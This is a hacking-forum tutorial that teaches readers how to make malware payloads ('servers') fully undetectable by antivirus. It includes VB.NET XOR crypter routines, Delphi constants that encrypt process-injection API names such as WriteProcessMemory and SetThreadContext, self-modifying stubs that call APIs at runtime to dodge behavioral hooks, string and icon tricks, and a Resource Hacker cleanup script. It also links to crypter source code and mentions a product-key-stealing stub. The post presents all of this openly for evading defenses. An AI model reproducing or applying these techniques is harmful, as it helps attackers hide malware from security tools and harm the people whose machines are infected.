PaiNModerator
Postari: 28
|
|
[b]Hi, to all HACKERS this is an article about how to bypass the antivirus protection and making your server FULLY UNDETECTED.
AV's Point of view
Phase one BEFORE THE MALICIOUS PROGRAM IS RUNNING.
The first thing an antivirus is doing - it's checking if the program is packed.
If it is packed - the appropriate unpacker should be used and the code and data should be expanded to
memory and then disassembled. In a meantime our AV may also check and resolve an API imports so it would be
known then: what API functions are used. I don't want to go deep into details what Portable Executable (or PE) format is,
but generally - compiled code is copied to memory almost one-to-one as it is in the binary file. So our antivirus is looking
there for a opcodes of certain API calls, speciall data strings and many other interesting things. Generally antivirus software is looking for a certain suspicious-looking binary
code patterns or so-called "SIGNATURES". If such thing is found (a pattern or combination of patterns): our antivirus is immediately
popping-up a nice red-colored window, (featuring a pride of GUI team: bug.jpg) with information that "MALICIOUS CODE WASS SUCCESSFULLY STOPPED".
Phase two: WHILE THE PROGRAM IS RUNNING .
It is obvious that some (malicious) code may be hidden, encrypted, obfuscated or even created "on-the-fly".
To be able to deal with such tricks our antivirus is also capable to monitor and intercept API calls (uses hooks) and does a kind
of "behavioral analysis". So if your notepad.exe for some strange reason is trying to do some "naughty" things
(e.g. access memory of another process) - this means well... "something is fishy" and our famous red-colored window
appears on a horizon again.
So i am going to show you a basic tutorial on how to make FUD the detected VB or DELPHI source again.
Lets first move on toVB
Well you can use the following basic methods:
ENCRYPTION
This is an important part while you are making your cryptor. I am giving you an example of XOR encrytion and decryption technique which is mostly used.
ENCRYPT
Code:
Public Function CustomXOR_Encrypt(ByVal Input As String, ByVal pass As String) As String
Dim out As New System.Text.StringBuilder
Dim Hash As New System.Security.Cryptography.MD5CryptoServiceProvider
Dim XorHash As Byte() = Hash.ComputeHash(System.Text.Encoding.ASCII.GetBytes(pass))
Dim u As Integer
For i As Integer = 0 To Input.Length - 1
Dim tmp As String = Hex(Asc(Input(i)) Xor XorHash(u))
If tmp.Length = 1 Then tmp = "0" & tmp
out.Append(tmp)
If u = pass.Length - 1 Then u = 0 Else u = u + 1
Next
Return out.ToString
End Function |
DECRYPT
Code:
Public Function CustomXOR_Decrypt(ByVal Input As String, ByVal pass As String) As String
Dim out As New System.Text.StringBuilder
Dim Hash As New System.Security.Cryptography.MD5CryptoServiceProvider
Dim XorHash As Byte() = Hash.ComputeHash(System.Text.Encoding.ASCII.GetBytes(pass))
Dim u As Integer
For i As Integer = 0 To Input.Length - 1 Step +2
Dim tmp As String = Chr(("&H" & Input.Substring(i, 2)) Xor XorHash(u))
out.Append(tmp)
If u = pass.Length - 1 Then u = 0 Else u = u + 1
Next
Return out.ToString
End Function |
ICON CHANGING
The basic and foremost method to bypass antiviruses like "THE ANNOYING AVIRA" and one or two other antiviruses, but this make the file size a bigger, so use it only wisely.
OBFUSCATION
It simply obfuscates your code and encrypts your strings, to not look like your code, so making it more undetectable and protecting
your application. Here our a few of them.
XENOCODE POST BUILD: CLICK HERE
SMART ASSEMBLY 4.1: CLICK HERE
JUNK CODE a.k.a TRASH CODE
Most “ture” programmers hate this method as its bad coding practice and makes your server bigger, but sometimes it is useful. Here is a simple junk code generator.
Again use it wisely only when it is needed.
JUNK CODE GENERATOR: CLICK HERE
STRINGS
this method is to basically change the strings etc. For example here is a stub that’s gets your windows product key that I can change.
I have highlighted all the strings. Now lets change those detected strings to something better and “FUD”. Note all the strings that you replace will need to be change like this image users Winkey. If I was to change the string Winkey and not change the strings value name then if would give you errors. This method will also lead on to the next method.
FILESPLITS
This method is a very simple, but very effective at bypassing anti-virus. You see anti-virus’ pick up certain bits of code. Avira puts up filesplit. Here is a example of a bad filesplit.
Now we can change the “FileSplit” to something else. Use something long and advanced. Here is what I have done.
O BUILDER
This method is one of my favourite methods as it always lowers the detection rate. Most anti-virus’ pick up the word fileopen and fileclose etc. Another advantage of this method is that it shortens your code a lot, making your stub smaller. Notice how it uses the advanced filesplit.
CRYPTOR:
STUB :
NOW,
Lets move on to DELPHI.
What this method includes :
1. Encrypting all string variables and also the payload.
2.Obfuscate all "suspicious" API function calls".
3. Cleaning-up the final binary from all unnecessary strings and hidden resources which potentially may be treated by antiviruses as signatures.
Before the crypting the server looks like this
and after crypting the server looks like this:
ENCRYPTING STRINGS.
API function names are acting as virus signatures (in certain combination), because they are plain strings. So definitely need to hide them. To encrypt API function names there was additional program written, called StringsEncoder, which can be downloaded from CLICK HERE.
This is an example of processing a one string constant only (CreateProcessA):
The program of course allows automatically creating Delphi unit with all strings needed for further API resolution. Something like this:
Code:
unit untStealthLibEncryptedConstants;
interface
const
stealth_api_key = 'FF'; // you can change key to anything
//--- ntdll.dll
stealth_api_ntdll_dll = #151#162#78#47#246#220#236#211#180;
//--- ResumeThread
stealth_api_ResumeThread = #171#179#89#54#247#151#220#215#170#219#88#39;
//--- kernel32.dll
stealth_api_kernel32_dll = #146#179#88#45#255#158#187#141#246#218#85#47;
//--- SetThreadContext
stealth_api_SetThreadContext = #160#35#175#108#116#81#2#117#36#1#253#77#22#184#249#213;
//--- GetThreadContext
stealth_api_GetThreadContext = #74#15#91#48#30#10#90#169#42#88#179#175#66#122#117#27;
//--- VirtualProtectEx
stealth_api_VirtualProtectEx = #48#159#184#128#253#89#90#127#8#170#190#50#247#131#160#5;
//--- WriteProcessMemory
stealth_api_WriteProcessMemory = #45#223#165#0#74#26#118#180#87#250#141#13#184#78#61#86#3#145;
//--- ReadProcessMemory
stealth_api_ReadProcessMemory = #238#114#76#133#179#99#51#10#144#167#177#46#40#177#109#225#87;
//--- CreateProcessA
stealth_api_CreateProcessA = #186#164#79#34#238#151#216#205#183#221#92#48#237#58;
implementation
end. |
So our antivirus has no chance when will be searching for strings like "WriteProcessMemory" or "CreateProcessA".
OBFUSCATING
Ok, we already know that antiviruses are extremely sensitive when certain API functions are called. And we must be able to call them to do our dirty stuff. So you have to use the undocumented API functions. Those functions are very often just "wrapped" to a well-documented documented functions later.
And of course creating code for all API function calls at runtime (as opcodes).
Example from Delphi unit untStealthAPI:
Code:
//--stealth WIN API function: ResumeThread (SELF-MODIFYING)
function v_ResumeThread(hThread: cardinal): boolean;
var c: TByteArray;
fResult: dword;
oldProtect: DWORD;
dummyFunc: function: Integer; //--- dummy function
begin
CreateAPIFunctionTemplate(c, 1); //--- nr of parameters = 1
WriteDwordAddress(hThread, c, 2); //--- directly copy the VALUE of the "hThread"
WriteCalculatedFunctionAddress(@c,
c,
6, //--- this points to E8 (where CALL starts!!!)
GetProcAddressX(DecryptStringToString(stealth_api_kernel32_dll, stealth_api_key),
DecryptStringToString(stealth_api_ResumeThread, stealth_api_key)), //--- ResumeThread
5); //--- CALL procedure length (in bytes) = 5
@dummyFunc := @c; //--- point inline dummy function to our byte array
v_VirtualProtectEx(0, @dummyFunc, SizeOf(dummyFunc), PAGE_EXECUTE_READWRITE, @oldProtect);
dummyFunc; //--- execute our function
asm mov fResult, eax; end; //--- return our function's result (normally it is stored in EAX)
result := boolean(fResult);
end; |
or another function:
Code:
//--stealth WIN API function: VirtualProtectEx (SELF-MODIFYING)
function v_VirtualProtectEx(hProcess: THandle;
lpAddress: Pointer;
dwSize,
flNewProtect: DWORD;
lpflOldProtect: Pointer): boolean;
var c: TByteArray;
fResult: dword;
oldProtect: DWORD;
dummyFunc: function: Integer; //--- dummy function
begin
CreateAPIFunctionTemplate(c, 5); //--- nr of parameters = 2
WriteDwordAddress(dword(@lpflOldProtect), c, 2); //--- directly copy the VALUE of the "lpflOldProtect" (4 bytes)
WriteDwordAddress(flNewProtect, c, 7); //--- directly copy the VALUE of the "flNewProtect" (4 bytes)
WriteDwordAddress(dwSize, c, 12); //--- directly copy the VALUE of the "dwSize" (4 bytes)
WriteDwordAddress(dword(@lpAddress), c, 17); //--- directly copy the VALUE of the "lpAddress" (4 bytes)
WriteDwordAddress(hProcess, c, 22); //--- directly copy the VALUE of the "hproces" (4 bytes)
WriteCalculatedFunctionAddress(@c,
c,
26, //--- this points to E8 (where CALL starts)
GetProcAddressX(DecryptStringToString(stealth_api_kernel32_dll, stealth_api_key),
DecryptStringToString(stealth_api_VirtualProtectEx, stealth_api_key)), //--- VirtualProtectEx
5); //--- CALL procedure length (in bytes)
@dummyFunc := @c; //--- point inline function to our byte array
VirtualProtect(@dummyFunc, SizeOf(dummyFunc), PAGE_EXECUTE_READWRITE, @oldProtect);
dummyFunc; //execute our function
asm mov fResult, eax; end; //--- return our function's result (normally it is stored in EAX)
result := boolean(fResult);
end; |
REMOVING JUNK CODES
An excellent program RESOURCE HACKER which can be downloaded from HERE to remove various unneeded data (resources) from executable.
We may create a batch file of this kind:
Code:
@echo on
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", StringTable,,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", RCData,DVCLAL,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", RCData,PACKAGEINFO,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", RCData,PACKAGEINFO,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", Cursor,,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", Bitmap,,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", Dialog,,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", CursorGroup,, |
OK, i am providing you source of a VB and delphi cryptor, make it FUD again 
VB cryptor source : HERE
DELPHI cryptor source :HERE
END
|
|
